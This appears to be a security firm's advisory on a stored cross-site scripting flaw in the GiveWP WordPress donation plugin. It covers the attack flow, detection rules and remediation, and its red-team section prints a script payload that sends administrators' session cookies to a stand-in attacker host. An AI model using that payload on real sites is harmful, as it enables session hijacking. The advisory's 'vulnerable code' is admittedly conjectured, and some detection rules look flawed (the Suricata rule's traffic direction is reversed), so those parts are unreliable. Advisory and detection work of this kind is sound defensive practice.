CVE-2024-35679

Executive Summary

CVE-2024-35679 is a Stored Cross-Site Scripting (XSS) vulnerability in the GiveWP WordPress plugin, affecting versions up to and including 3.12.0. This vulnerability allows an unauthenticated attacker to inject arbitrary web scripts or HTML into donation forms, which are then executed in the context of an administrator's browser when they view the affected page. The flaw stems from improper neutralization of user-supplied input during web page generation. Given that GiveWP is a widely used donation plugin for WordPress, this vulnerability poses a significant risk to non-profit and charitable organizations, potentially leading to donation data theft, session hijacking, or defacement. No public proof-of-concept (PoC) or patch is currently available, but the CVSS score of 7.1 (High) underscores the need for immediate mitigation.

Supply Chain & Package Security

This vulnerability affects the GiveWP WordPress plugin, which is distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using this plugin should treat it as a critical supply chain risk. The lack of a patch means that all installations running version 3.12.0 or earlier are exposed. Administrators must monitor the plugin's official channels for updates and consider temporary removal or disabling of the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click or view the malicious content.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: High. The vulnerability is easy to exploit and can lead to significant impact on the WordPress site's integrity and user trust.

Deep Dive & Mechanics

The vulnerability resides in the GiveWP plugin's donation form processing. When a user submits a donation form, the plugin fails to properly sanitize and escape certain input fields before storing them in the database. Specifically, fields such as the donor's name, address, or custom donation notes are not neutralized against HTML/JavaScript injection. When an administrator later views the donation records in the WordPress admin dashboard (e.g., via the "Donations" list or "Donor" details page), the stored malicious script executes in their browser.

The attack flow is as follows:

1. An attacker submits a donation form with a crafted payload in a vulnerable field (e.g., <script>alert('XSS')</script>).
2. The payload is stored in the WordPress database without sanitization.
3. An administrator navigates to the affected page (e.g., /wp-admin/edit.php?post_type=give_forms&page=give-donations).
4. The stored payload is rendered in the admin's browser, executing the attacker's script.
5. The script can steal session cookies, redirect to malicious sites, or perform actions on behalf of the admin.

The vulnerability is classified as Stored XSS (CWE-79) and is particularly dangerous because it targets high-privilege users (administrators) and can persist across sessions.

Vulnerable vs. Patched Code

Since no patch is available, the following analysis is based on the vulnerable code pattern typical of such XSS flaws.

Vulnerable Code (GiveWP <= 3.12.0):

// In a donation form processing function
$donor_name = $_POST['give_donor_name'];
// Directly stored without sanitization
update_post_meta($donation_id, '_give_donor_name', $donor_name);

Patched Code (Expected):

// Properly sanitize input
$donor_name = sanitize_text_field($_POST['give_donor_name']);
// Or escape output when rendering
echo esc_html(get_post_meta($donation_id, '_give_donor_name', true));

The patched version would use WordPress's built-in sanitization functions like sanitize_text_field() or esc_html() to neutralize malicious input.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site running GiveWP <= 3.12.0.
• Access to the donation form (publicly available).

Exploitation Steps:

1. Identify a vulnerable input field in the donation form (e.g., "Donor Name" or "Donation Note").
2. Craft a payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
3. Submit the donation form with the payload.
4. Wait for an administrator to view the donation records.
5. The admin's browser executes the script, sending their session cookie to the attacker's server.

Note: No public exploit code is available, but the above demonstrates the attack vector.

Blue Team

Detection & Prevention:

• Web Application Firewall (WAF): Deploy rules to block common XSS patterns in POST data (e.g., <script>, onerror=, javascript:).
• Input Validation: Ensure all user inputs are sanitized using WordPress functions like sanitize_text_field() and wp_kses_post().
• Content Security Policy (CSP): Implement a strict CSP header to block inline scripts and restrict script sources.
• Regular Audits: Monitor donation records for suspicious entries (e.g., HTML tags in text fields).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to known malicious domains or IPs from the WordPress admin dashboard.
  • Unusual POST requests to donation form endpoints containing script tags.
• File IOCs:
  • Modified GiveWP plugin files (e.g., give.php, includes/process-donation.php).
  • Suspicious entries in the wp_postmeta table with _give_donor_name or similar keys containing HTML/JavaScript.
• Log IOCs:
  • WordPress debug log entries showing PHP warnings related to unescaped output.
  • Web server access logs showing requests to /wp-admin/edit.php?post_type=give_forms&page=give-donations with unusual referrers.

Detection Engineering

YARA Rule

rule CVE_2024_35679_GiveWP_XSS {
    meta:
        description = "Detects GiveWP plugin files with potential XSS vulnerability"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-35679"
    strings:
        $xss_pattern = /update_post_meta\(\s*\$[a-z_]+\s*,\s*['\"]_give_[a-z_]+['\"]\s*,\s*\$_POST\s*\[/ nocase
        $unsafe_echo = /echo\s+get_post_meta\(\s*\$[a-z_]+\s*,\s*['\"]_give_[a-z_]+['\"]\s*,\s*true\s*\)/ nocase
    condition:
        $xss_pattern or $unsafe_echo
}

Sigma Rule

title: CVE-2024-35679 GiveWP Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-35679 via donation form submissions
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'give_forms'
        cs-uri-query|contains: 'give_donor_name'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate donation submissions with special characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-35679 GiveWP Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"give_forms"; http_uri; content:"give_donor_name"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the GiveWP plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Restrict admin dashboard access to trusted IPs only.
4. Enable Content Security Policy (CSP) headers to mitigate script execution.

Long-Term Fix:

• Monitor the GiveWP plugin repository for a patched version (expected > 3.12.0).
• Apply the patch as soon as it becomes available.
• Conduct a security audit of all custom code interacting with GiveWP.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for XSS.
• Manually sanitize donation form inputs via a custom plugin or theme functions.php:

  add_filter('give_donation_data', function($donation_data) {
      foreach ($donation_data as $key => $value) {
          if (is_string($value)) {
              $donation_data[$key] = sanitize_text_field($value);
          }
      }
      return $donation_data;
  });
  

Valters IT
Securing Your Digital Frontier